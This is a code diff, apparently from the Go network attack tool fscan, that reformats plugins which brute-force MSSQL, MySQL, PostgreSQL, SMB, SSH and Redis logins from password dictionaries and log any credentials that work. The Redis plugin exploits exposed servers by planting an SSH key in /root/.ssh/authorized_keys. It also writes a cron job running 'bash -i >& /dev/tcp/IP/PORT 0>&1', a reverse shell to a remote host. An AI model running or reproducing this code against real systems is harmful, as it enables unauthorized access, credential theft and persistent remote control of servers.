defer conn.Close() defer conn.Close()
conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second)) conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
conn.Write(negotiateProtocolRequest) conn.Write(negotiateProtocolRequest)
reply := make([]byte, 1024) reply := make([]byte, 1024)
// let alone half packet // let alone half packet
@@ -78,7 +80,7 @@ func MS17010Scan(info *common.HostInfo) {
for i := 10; i < len(sessionSetupResponse)-1; i++ { for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 { if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
os = string(sessionSetupResponse[10:i]) os = string(sessionSetupResponse[10:i])
os = strings.Replace(os, string([]byte{0x00}), "",-1) os = strings.Replace(os, string([]byte{0x00}), "", -1)
break break
} }
} }
@@ -136,4 +138,3 @@ func MS17010Scan(info *common.HostInfo) {
} }
} }
+13 -17
View File
@@ -1,48 +1,44 @@
package Plugins package Plugins
import ( import (
"../common"
"database/sql" "database/sql"
"fmt" "fmt"
_ "github.com/denisenkom/go-mssqldb" _ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
"strings" "strings"
"sync" "sync"
"time" "time"
) )
func MssqlScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
func MssqlScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
Loop: Loop:
for _,user:=range common.Userdict["mssql"]{ for _, user := range common.Userdict["mssql"] {
for _,pass:=range common.Passwords{ for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1) pass = strings.Replace(pass, "{user}", user, -1)
flag,err := MssqlConn(info,user,pass) flag, err := MssqlConn(info, user, pass)
if flag==true && err==nil { if flag == true && err == nil {
break Loop break Loop
} }
} }
} }
wg.Done() wg.Done()
<- ch <-ch
} }
func MssqlConn(info *common.HostInfo,user string,pass string)(flag bool,err error){ func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false flag = false
Host,Port,Username,Password := info.Host, common.PORTList["mssql"],user, pass Host, Port, Username, Password := info.Host, common.PORTList["mssql"], user, pass
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host,Username,Password,Port,time.Duration(info.Timeout)*time.Second) dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host, Username, Password, Port, time.Duration(info.Timeout)*time.Second)
db, err := sql.Open("mssql", dataSourceName) db, err := sql.Open("mssql", dataSourceName)
if err == nil { if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second) db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
defer db.Close() defer db.Close()
err = db.Ping() err = db.Ping()
if err == nil { if err == nil {
result := fmt.Sprintf("mssql:%v:%v:%v %v",Host,Port,Username,Password) result := fmt.Sprintf("mssql:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result) common.LogSuccess(result)
flag = true flag = true
} }
} }
return flag,err return flag, err
} }
+15 -16
View File
@@ -1,46 +1,45 @@
package Plugins package Plugins
import ( import (
"../common"
"database/sql" "database/sql"
"fmt" "fmt"
_ "github.com/go-sql-driver/mysql"
"strings" "strings"
"sync" "sync"
"time" "time"
_ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/common"
) )
func MysqlScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
func MysqlScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
Loop: Loop:
for _,user:=range common.Userdict["mysql"]{ for _, user := range common.Userdict["mysql"] {
for _,pass:=range common.Passwords{ for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1) pass = strings.Replace(pass, "{user}", user, -1)
flag,err := MysqlConn(info,user,pass) flag, err := MysqlConn(info, user, pass)
if flag==true && err==nil { if flag == true && err == nil {
break Loop break Loop
} }
} }
} }
wg.Done() wg.Done()
<- ch <-ch
} }
func MysqlConn(info *common.HostInfo,user string,pass string)(flag bool,err error){ func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false flag = false
Host,Port,Username,Password := info.Host, common.PORTList["mysql"],user, pass Host, Port, Username, Password := info.Host, common.PORTList["mysql"], user, pass
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host,Port, "mysql") dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host, Port, "mysql")
db, err := sql.Open("mysql", dataSourceName) db, err := sql.Open("mysql", dataSourceName)
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second) db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
if err == nil { if err == nil {
defer db.Close() defer db.Close()
err = db.Ping() err = db.Ping()
if err == nil { if err == nil {
result := fmt.Sprintf("mysql:%v:%v:%v %v",Host,Port,Username,Password) result := fmt.Sprintf("mysql:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result) common.LogSuccess(result)
flag = true flag = true
} }
} }
return flag,err return flag, err
} }
+30 -46
View File
@@ -2,13 +2,13 @@ package Plugins
import ( import (
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"net" "net"
"sort" "sort"
"strconv" "strconv"
"strings" "strings"
"sync" "sync"
"time" "time"
"../common"
) )
func ParsePort(ports string) []int { func ParsePort(ports string) []int {
@@ -35,37 +35,30 @@ func ParsePort(ports string) []int {
return scanPorts return scanPorts
} }
func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, done chan<- bool, model string, adjustedTimeout int) { func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, done chan<- bool, adjustedTimeout int) {
Timeout := time.Duration(adjustedTimeout) * time.Second for port := range ports {
for port := range ports{ con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", host, port), time.Duration(adjustedTimeout)*time.Second)
start := time.Now()
con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", host, port), time.Duration(adjustedTimeout) * time.Second)
duration := time.Now().Sub(start)
if err == nil { if err == nil {
defer con.Close() defer con.Close()
address := host + ":" + strconv.Itoa(port) address := host + ":" + strconv.Itoa(port)
result := fmt.Sprintf("%s open",address) result := fmt.Sprintf("%s open", address)
common.LogSuccess(result) common.LogSuccess(result)
respondingHosts <- address respondingHosts <- address
} }
if duration < Timeout {
difference := Timeout - duration
Timeout = Timeout - (difference / 2)
}
} }
done <- true done <- true
} }
func ScanAllports(address string, probePorts []int, threads int, timeout time.Duration, model string, adjustedTimeout int) ([]string, error) { func ScanAllports(address string, probePorts []int, threads int, adjustedTimeout int) ([]string, error) {
ports := make(chan int, 20) ports := make(chan int, 20)
results := make(chan string, 10) results := make(chan string, 10)
done := make(chan bool, threads) done := make(chan bool, threads)
for worker := 0; worker < threads; worker++ { for worker := 0; worker < threads; worker++ {
go ProbeHosts(address, ports, results, done, model, adjustedTimeout) go ProbeHosts(address, ports, results, done, adjustedTimeout)
} }
for _,port := range probePorts{ for _, port := range probePorts {
ports <- port ports <- port
} }
close(ports) close(ports)
@@ -80,61 +73,53 @@ func ScanAllports(address string, probePorts []int, threads int, timeout time.Du
if threads == 0 { if threads == 0 {
return responses, nil return responses, nil
} }
case <-time.After(timeout):
return responses, nil
} }
} }
} }
func TCPportScan(hostslist []string,ports string,model string,timeout int) ([]string,[]string){ func TCPportScan(hostslist []string, ports string, timeout int) ([]string, []string) {
var AliveAddress []string var AliveAddress []string
var aliveHosts []string var aliveHosts []string
probePorts := ParsePort(ports) probePorts := ParsePort(ports)
lm := 20 lm := 20
if (len(hostslist)>5 && len(hostslist)<=50) { if len(hostslist) > 5 && len(hostslist) <= 50 {
lm = 40 lm = 40
}else if(len(hostslist)>50 && len(hostslist)<=100){ } else if len(hostslist) > 50 && len(hostslist) <= 100 {
lm = 50 lm = 50
}else if(len(hostslist)>100 && len(hostslist)<=150){ } else if len(hostslist) > 100 && len(hostslist) <= 150 {
lm = 60 lm = 60
}else if(len(hostslist)>150 && len(hostslist)<=200){ } else if len(hostslist) > 150 && len(hostslist) <= 200 {
lm = 70 lm = 70
}else if(len(hostslist)>200){ } else if len(hostslist) > 200 {
lm = 75 lm = 75
} }
thread := 5 thread := 5
if (len(probePorts)>500 && len(probePorts)<=4000) { if len(probePorts) > 500 && len(probePorts) <= 4000 {
thread = len(probePorts)/100 thread = len(probePorts) / 100
}else if (len(probePorts)>4000 && len(probePorts)<=6000) { } else if len(probePorts) > 4000 && len(probePorts) <= 6000 {
thread = len(probePorts)/200 thread = len(probePorts) / 200
}else if (len(probePorts)>6000 && len(probePorts)<=10000) { } else if len(probePorts) > 6000 && len(probePorts) <= 10000 {
thread = len(probePorts)/350 thread = len(probePorts) / 350
}else if (len(probePorts)>10000 && len(probePorts)<50000){ } else if len(probePorts) > 10000 && len(probePorts) < 50000 {
thread = len(probePorts)/400 thread = len(probePorts) / 400
}else if (len(probePorts)>=50000 && len(probePorts)<=65535){ } else if len(probePorts) >= 50000 && len(probePorts) <= 65535 {
thread = len(probePorts)/500 thread = len(probePorts) / 500
} }
var wg sync.WaitGroup var wg sync.WaitGroup
mutex := &sync.Mutex{} mutex := &sync.Mutex{}
limiter := make(chan struct{}, lm) limiter := make(chan struct{}, lm)
aliveHost := make(chan string, lm/2) for _, host := range hostslist {
go func() {
for s := range aliveHost {
fmt.Println(s)
}
}()
for _,host :=range hostslist{
wg.Add(1) wg.Add(1)
limiter <- struct{}{} limiter <- struct{}{}
go func(host string) { go func(host string) {
defer wg.Done() defer wg.Done()
if aliveAdd, err := ScanAllports(host, probePorts,thread, 5*time.Second,model,timeout);err == nil && len(aliveAdd)>0{ if aliveAdd, err := ScanAllports(host, probePorts, thread, timeout); err == nil && len(aliveAdd) > 0 {
mutex.Lock() mutex.Lock()
aliveHosts = append(aliveHosts,host) aliveHosts = append(aliveHosts, host)
for _,addr :=range aliveAdd{ for _, addr := range aliveAdd {
AliveAddress = append(AliveAddress,addr) AliveAddress = append(AliveAddress, addr)
} }
mutex.Unlock() mutex.Unlock()
} }
@@ -142,6 +127,5 @@ func TCPportScan(hostslist []string,ports string,model string,timeout int) ([]s
}(host) }(host)
} }
wg.Wait() wg.Wait()
close(aliveHost) return aliveHosts, AliveAddress
return aliveHosts,AliveAddress
} }
+15 -16
View File
@@ -1,46 +1,45 @@
package Plugins package Plugins
import ( import (
"../common"
"database/sql" "database/sql"
"fmt" "fmt"
_ "github.com/lib/pq"
"strings" "strings"
"sync" "sync"
"time" "time"
_ "github.com/lib/pq"
"github.com/shadow1ng/fscan/common"
) )
func PostgresScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { func PostgresScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
Loop: Loop:
for _,user:=range common.Userdict["postgresql"]{ for _, user := range common.Userdict["postgresql"] {
for _,pass:=range common.Passwords{ for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string(user), -1) pass = strings.Replace(pass, "{user}", string(user), -1)
flag,err := PostgresConn(info,user,pass) flag, err := PostgresConn(info, user, pass)
if flag==true && err==nil { if flag == true && err == nil {
break Loop break Loop
} }
} }
} }
wg.Done() wg.Done()
<- ch <-ch
} }
func PostgresConn(info *common.HostInfo,user string,pass string)(flag bool,err error){ func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false flag = false
Host,Port,Username,Password := info.Host, common.PORTList["psql"],user, pass Host, Port, Username, Password := info.Host, common.PORTList["psql"], user, pass
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host,Port, "postgres", "disable") dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
db, err := sql.Open("mysql", dataSourceName) db, err := sql.Open("mysql", dataSourceName)
if err == nil { if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second) db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
defer db.Close() defer db.Close()
err = db.Ping() err = db.Ping()
if err == nil { if err == nil {
result := fmt.Sprintf("Postgres:%v:%v:%v %v",Host,Port,Username,Password) result := fmt.Sprintf("Postgres:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result) common.LogSuccess(result)
flag = true flag = true
} }
} }
return flag,err return flag, err
} }
+92 -96
View File
@@ -1,9 +1,9 @@
package Plugins package Plugins
import ( import (
"../common"
"bufio" "bufio"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"net" "net"
"os" "os"
"strings" "strings"
@@ -11,170 +11,166 @@ import (
"time" "time"
) )
func RedisScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { func RedisScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
flag,err := RedisUnauth(info) flag, err := RedisUnauth(info)
if flag==true && err==nil { if flag == true && err == nil {
wg.Done() wg.Done()
<- ch <-ch
return return
} }
Loop: Loop:
for _,pass:=range common.Passwords{ for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string("redis"), -1) pass = strings.Replace(pass, "{user}", string("redis"), -1)
flag,err := RedisConn(info,pass) flag, err := RedisConn(info, pass)
if flag==true && err==nil { if flag == true && err == nil {
break Loop break Loop
}
} }
}
wg.Done() wg.Done()
<- ch <-ch
} }
func RedisConn(info *common.HostInfo,pass string)(flag bool,err error){ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
flag = false flag = false
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["redis"]) realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["redis"])
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second) conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil{ if err != nil {
return flag,err return flag, err
} }
defer conn.Close() defer conn.Close()
conn.Write([]byte(fmt.Sprintf("auth %s\r\n",pass))) conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
reply,err := readreply(conn) reply, err := readreply(conn)
if strings.Contains(reply,"+OK"){ if strings.Contains(reply, "+OK") {
result := fmt.Sprintf("Redis:%s %s",realhost,pass) result := fmt.Sprintf("Redis:%s %s", realhost, pass)
common.LogSuccess(result) common.LogSuccess(result)
flag = true flag = true
Expoilt(info ,realhost,conn) Expoilt(info, realhost, conn)
} }
return flag,err return flag, err
} }
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
func RedisUnauth(info *common.HostInfo) (flag bool,err error) {
flag = false flag = false
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["redis"]) realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["redis"])
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second) conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil{ if err != nil {
return flag,err return flag, err
} }
defer conn.Close() defer conn.Close()
conn.Write([]byte("info\r\n")) conn.Write([]byte("info\r\n"))
reply,err := readreply(conn) reply, err := readreply(conn)
if strings.Contains(reply,"redis_version"){ if strings.Contains(reply, "redis_version") {
result := fmt.Sprintf("Redis:%s unauthorized",realhost) result := fmt.Sprintf("Redis:%s unauthorized", realhost)
common.LogSuccess(result) common.LogSuccess(result)
flag = true flag = true
Expoilt(info ,realhost,conn) Expoilt(info, realhost, conn)
} }
return flag,err return flag, err
} }
func Expoilt(info *common.HostInfo,realhost string,conn net.Conn) { func Expoilt(info *common.HostInfo, realhost string, conn net.Conn) {
flagSsh,flagCron := testwrite(conn) flagSsh, flagCron := testwrite(conn)
if flagSsh == true{ if flagSsh == true {
result := fmt.Sprintf("Redis:%v like can write /root/.ssh/",realhost) result := fmt.Sprintf("Redis:%v like can write /root/.ssh/", realhost)
common.LogSuccess(result) common.LogSuccess(result)
if info.RedisFile != ""{ if info.RedisFile != "" {
if writeok,text := writekey(conn,info.RedisFile);writeok{ if writeok, text := writekey(conn, info.RedisFile); writeok {
result := fmt.Sprintf("%v SSH public key was written successfully",realhost) result := fmt.Sprintf("%v SSH public key was written successfully", realhost)
common.LogSuccess(result) common.LogSuccess(result)
}else { } else {
fmt.Println("Redis:",realhost,"SSHPUB write failed",text) fmt.Println("Redis:", realhost, "SSHPUB write failed", text)
} }
} }
} }
if flagCron == true{ if flagCron == true {
result := fmt.Sprintf("Redis:%v like can write /var/spool/cron/",realhost) result := fmt.Sprintf("Redis:%v like can write /var/spool/cron/", realhost)
common.LogSuccess(result) common.LogSuccess(result)
if info.RedisShell != "" { if info.RedisShell != "" {
if writeok,text := writecron(conn,info.RedisShell);writeok{ if writeok, text := writecron(conn, info.RedisShell); writeok {
result := fmt.Sprintf("%v /var/spool/cron/root was written successfully",realhost) result := fmt.Sprintf("%v /var/spool/cron/root was written successfully", realhost)
common.LogSuccess(result) common.LogSuccess(result)
}else { } else {
fmt.Println("Redis:",realhost,"cron write failed",text) fmt.Println("Redis:", realhost, "cron write failed", text)
} }
} }
} }
} }
func writekey(conn net.Conn, filename string) (flag bool, text string) {
func writekey(conn net.Conn,filename string) (flag bool,text string) {
flag = false flag = false
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
text,_ = readreply(conn) text, _ = readreply(conn)
if strings.Contains(text,"OK") { if strings.Contains(text, "OK") {
conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n"))) conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
text,_ = readreply(conn) text, _ = readreply(conn)
if strings.Contains(text,"OK") { if strings.Contains(text, "OK") {
key,_ := Readfile(filename) key, _ := Readfile(filename)
conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n",key))) conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
text,_ = readreply(conn) text, _ = readreply(conn)
if strings.Contains(text,"OK") { if strings.Contains(text, "OK") {
conn.Write([]byte(fmt.Sprintf("save\r\n"))) conn.Write([]byte(fmt.Sprintf("save\r\n")))
text,_ = readreply(conn) text, _ = readreply(conn)
if strings.Contains(text,"OK") { if strings.Contains(text, "OK") {
flag = true flag = true
} }
} }
} }
} }
text = strings.TrimSpace(text) text = strings.TrimSpace(text)
if len(text) > 50{ if len(text) > 50 {
text = text[:50] text = text[:50]
} }
return flag,text return flag, text
} }
func writecron(conn net.Conn, host string) (flag bool, text string) {
func writecron(conn net.Conn,host string) (flag bool,text string) {
flag = false flag = false
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
text,_ = readreply(conn) text, _ = readreply(conn)
if strings.Contains(text,"OK") { if strings.Contains(text, "OK") {
conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n"))) conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
text,_ = readreply(conn) text, _ = readreply(conn)
if strings.Contains(text,"OK") { if strings.Contains(text, "OK") {
scan_ip,scan_port := strings.Split(host,":")[0],strings.Split(host,":")[1] scan_ip, scan_port := strings.Split(host, ":")[0], strings.Split(host, ":")[1]
conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",scan_ip,scan_port))) conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scan_ip, scan_port)))
text,_ = readreply(conn) text, _ = readreply(conn)
if strings.Contains(text,"OK") { if strings.Contains(text, "OK") {
conn.Write([]byte(fmt.Sprintf("save\r\n"))) conn.Write([]byte(fmt.Sprintf("save\r\n")))
text,_ = readreply(conn) text, _ = readreply(conn)
if strings.Contains(text,"OK") { if strings.Contains(text, "OK") {
flag = true flag = true
}//else {fmt.Println(text)} } //else {fmt.Println(text)}
}//else {fmt.Println(text)} } //else {fmt.Println(text)}
}//else {fmt.Println(text)} } //else {fmt.Println(text)}
}//else {fmt.Println(text)} } //else {fmt.Println(text)}
text = strings.TrimSpace(text) text = strings.TrimSpace(text)
if len(text) > 50{ if len(text) > 50 {
text = text[:50] text = text[:50]
} }
return flag,text return flag, text
} }
func Readfile(filename string)(string,error){ func Readfile(filename string) (string, error) {
file, err := os.Open(filename) file, err := os.Open(filename)
if err!=nil{ if err != nil {
fmt.Println("Open %s error, %v", filename,err) fmt.Println("Open %s error, %v", filename, err)
return err.Error(),err return err.Error(), err
} }
defer file.Close() defer file.Close()
scanner := bufio.NewScanner(file) scanner := bufio.NewScanner(file)
for scanner.Scan() { for scanner.Scan() {
text := strings.TrimSpace(scanner.Text()) text := strings.TrimSpace(scanner.Text())
if text != "" { if text != "" {
return text,nil return text, nil
} }
} }
return err.Error(),err return err.Error(), err
} }
func readreply(conn net.Conn) (result string,err error) { func readreply(conn net.Conn) (result string, err error) {
buf := make([]byte, 4096) buf := make([]byte, 4096)
for { for {
count, err := conn.Read(buf) count, err := conn.Read(buf)
@@ -186,22 +182,22 @@ func readreply(conn net.Conn) (result string,err error) {
break break
} }
} }
return result,err return result, err
} }
func testwrite(conn net.Conn) (flagSsh bool,flagCron bool) { func testwrite(conn net.Conn) (flagSsh bool, flagCron bool) {
flagSsh = false flagSsh = false
flagCron = false flagCron = false
var text string var text string
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
text,_ = readreply(conn) text, _ = readreply(conn)
if strings.Contains(string(text),"OK") { if strings.Contains(string(text), "OK") {
flagSsh = true flagSsh = true
} }
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
text,_ = readreply(conn) text, _ = readreply(conn)
if strings.Contains(string(text),"OK") { if strings.Contains(string(text), "OK") {
flagCron = true flagCron = true
} }
return flagSsh,flagCron return flagSsh, flagCron
} }
+33 -33
View File
@@ -1,28 +1,28 @@
package Plugins package Plugins
import ( import (
"../common"
"errors" "errors"
"fmt" "fmt"
"reflect" "reflect"
"strconv" "strconv"
"strings" "strings"
"sync" "sync"
"github.com/shadow1ng/fscan/common"
) )
func scan_func(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) { func scan_func(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
f := reflect.ValueOf(m[name]) f := reflect.ValueOf(m[name])
if len(infos) != f.Type().NumIn() { if len(infos) != f.Type().NumIn() {
err = errors.New("The number of infos is not adapted.") err = errors.New("The number of infos is not adapted.")
if err != nil { fmt.Println(err.Error())
fmt.Println(err.Error())
}
} }
in := make([]reflect.Value, len(infos)) in := make([]reflect.Value, len(infos))
for k, info := range infos { for k, info := range infos {
in[k] = reflect.ValueOf(info) in[k] = reflect.ValueOf(info)
} }
result = f.Call(in) result = f.Call(in)
return result,nil return result, nil
} }
func IsContain(items []string, item string) bool { func IsContain(items []string, item string) bool {
for _, eachItem := range items { for _, eachItem := range items {
@@ -33,49 +33,49 @@ func IsContain(items []string, item string) bool {
return false return false
} }
func Scan(info common.HostInfo) { func Scan(info common.HostInfo) {
fmt.Println("scan start") fmt.Println("scan start")
Hosts,_ := common.ParseIP(info.Host,info.HostFile) Hosts, _ := common.ParseIP(info.Host, info.HostFile)
if info.Isping == false{ if info.Isping == false {
Hosts = ICMPRun(Hosts,info.IcmpThreads) Hosts = ICMPRun(Hosts, info.IcmpThreads, info.Ping)
fmt.Println("icmp alive hosts len is:", len(Hosts))
} }
_,AlivePorts := TCPportScan(Hosts,info.Ports,"icmp",3) //return AliveHosts,AlivePorts _, AlivePorts := TCPportScan(Hosts, info.Ports, 3) //return AliveHosts,AlivePorts
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...} var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
for _,port:=range common.PORTList{ for _, port := range common.PORTList {
severports = append(severports,strconv.Itoa(port)) severports = append(severports, strconv.Itoa(port))
} }
severports1 := []string{"1521"} //no scan these service severports1 := []string{"1521"} //no scan these service
var ch = make(chan int,info.Threads) var ch = make(chan int, info.Threads)
var wg = sync.WaitGroup{} var wg = sync.WaitGroup{}
var scantype string var scantype string
for _,targetIP :=range AlivePorts{ for _, targetIP := range AlivePorts {
scan_ip,scan_port := strings.Split(targetIP,":")[0],strings.Split(targetIP,":")[1] scan_ip, scan_port := strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
info.Host = scan_ip info.Host = scan_ip
if info.Scantype == "all"{ info.Ports = scan_port
if IsContain(severports,scan_port){ if info.Scantype == "all" {
AddScan(scan_port,info,ch,&wg) if IsContain(severports, scan_port) {
}else { AddScan(scan_port, info, ch, &wg)
if !IsContain(severports1,scan_port){ } else {
info.Ports = scan_port if !IsContain(severports1, scan_port) {
AddScan("1000003",info,ch,&wg) //webtitle AddScan("1000003", info, ch, &wg) //webtitle
} }
} }
if scan_port == "445"{ //scan more vul if scan_port == "445" { //scan more vul
AddScan("1000001",info,ch,&wg) AddScan("1000001", info, ch, &wg)
AddScan("1000002",info,ch,&wg) AddScan("1000002", info, ch, &wg)
} }
}else { } else {
port,_:=common.PORTList_bak[info.Scantype] port, _ := common.PORTList_bak[info.Scantype]
scantype = strconv.Itoa(port) scantype = strconv.Itoa(port)
AddScan(scantype,info,ch,&wg) AddScan(scantype, info, ch, &wg)
} }
} }
wg.Wait() wg.Wait()
} }
func AddScan(scantype string,info common.HostInfo,ch chan int,wg *sync.WaitGroup) { func AddScan(scantype string, info common.HostInfo, ch chan int, wg *sync.WaitGroup) {
wg.Add(1) wg.Add(1)
if info.Scantype == "webtitle"{scantype = "1000003"} go scan_func(PluginList, scantype, &info, ch, wg)
go scan_func(PluginList,scantype,&info,ch,wg)
ch <- 1 ch <- 1
} }
+26 -20
View File
@@ -1,69 +1,75 @@
package Plugins package Plugins
import ( import (
"../common" "context"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"github.com/stacktitan/smb/smb" "github.com/stacktitan/smb/smb"
"strings" "strings"
"sync" "sync"
"time" "time"
"context"
) )
func SmbScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
func SmbScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
Loop: Loop:
for _,user:=range common.Userdict["smb"]{ for _, user := range common.Userdict["smb"] {
for _,pass:=range common.Passwords{ for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string(user), -1) pass = strings.Replace(pass, "{user}", string(user), -1)
flag,err := doWithTimeOut(info,user,pass) flag, err := doWithTimeOut(info, user, pass)
if flag==true && err==nil { if flag == true && err == nil {
break Loop break Loop
} }
} }
} }
wg.Done() wg.Done()
<- ch <-ch
} }
func SmblConn(info *common.HostInfo,user string,pass string)(flag bool,err error){ func SmblConn(info *common.HostInfo, user string, pass string, Domain string) (flag bool, err error) {
flag = false flag = false
Host,Port,Username,Password := info.Host, common.PORTList["smb"],user, pass Host, Port, Username, Password := info.Host, common.PORTList["smb"], user, pass
options := smb.Options{ options := smb.Options{
Host: Host, Host: Host,
Port: 445, Port: 445,
User: Username, User: Username,
Password: Password, Password: Password,
Domain: "", Domain: Domain,
Workstation: "", Workstation: "",
} }
session, err := smb.NewSession(options, false) session, err := smb.NewSession(options, false)
if err == nil { if err == nil {
defer session.Close() defer session.Close()
if session.IsAuthenticated { if session.IsAuthenticated {
result := fmt.Sprintf("SMB:%v:%v:%v %v",Host,Port,Username,Password) var result string
if Domain != "" {
result = fmt.Sprintf("SMB:%v:%v:%v\\%v %v", Host, Port, Domain, Username, Password)
} else {
result = fmt.Sprintf("SMB:%v:%v:%v %v", Host, Port, Username, Password)
}
common.LogSuccess(result) common.LogSuccess(result)
flag = true flag = true
} }
} }
return flag,err return flag, err
} }
func doWithTimeOut(info *common.HostInfo,user string,pass string)(flag bool,err error){ func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
ctx,cancel := context.WithTimeout(context.Background(),time.Duration(info.Timeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(info.Timeout)*time.Second)
defer cancel() defer cancel()
signal := make(chan int,1) signal := make(chan int, 1)
go func() { go func() {
flag,err = SmblConn(info,user,pass) flag, err = SmblConn(info, user, pass, info.Domain)
signal <- 1 signal <- 1
}() }()
select { select {
case <-signal: case <-signal:
return flag,err return flag, err
case <-ctx.Done(): case <-ctx.Done():
return false,err return false, err
} }
} }
+18 -17
View File
@@ -1,38 +1,39 @@
package Plugins package Plugins
import ( import (
"../common"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh" "golang.org/x/crypto/ssh"
"net" "net"
"strings" "strings"
"sync" "sync"
"time" "time"
) )
func SshScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
func SshScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
Loop: Loop:
for _,user:=range common.Userdict["ssh"]{ for _, user := range common.Userdict["ssh"] {
for _,pass:=range common.Passwords{ for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1) pass = strings.Replace(pass, "{user}", user, -1)
flag,err := SshConn(info,user,pass) flag, err := SshConn(info, user, pass)
if flag==true && err==nil { if flag == true && err == nil {
break Loop break Loop
} }
} }
} }
wg.Done() wg.Done()
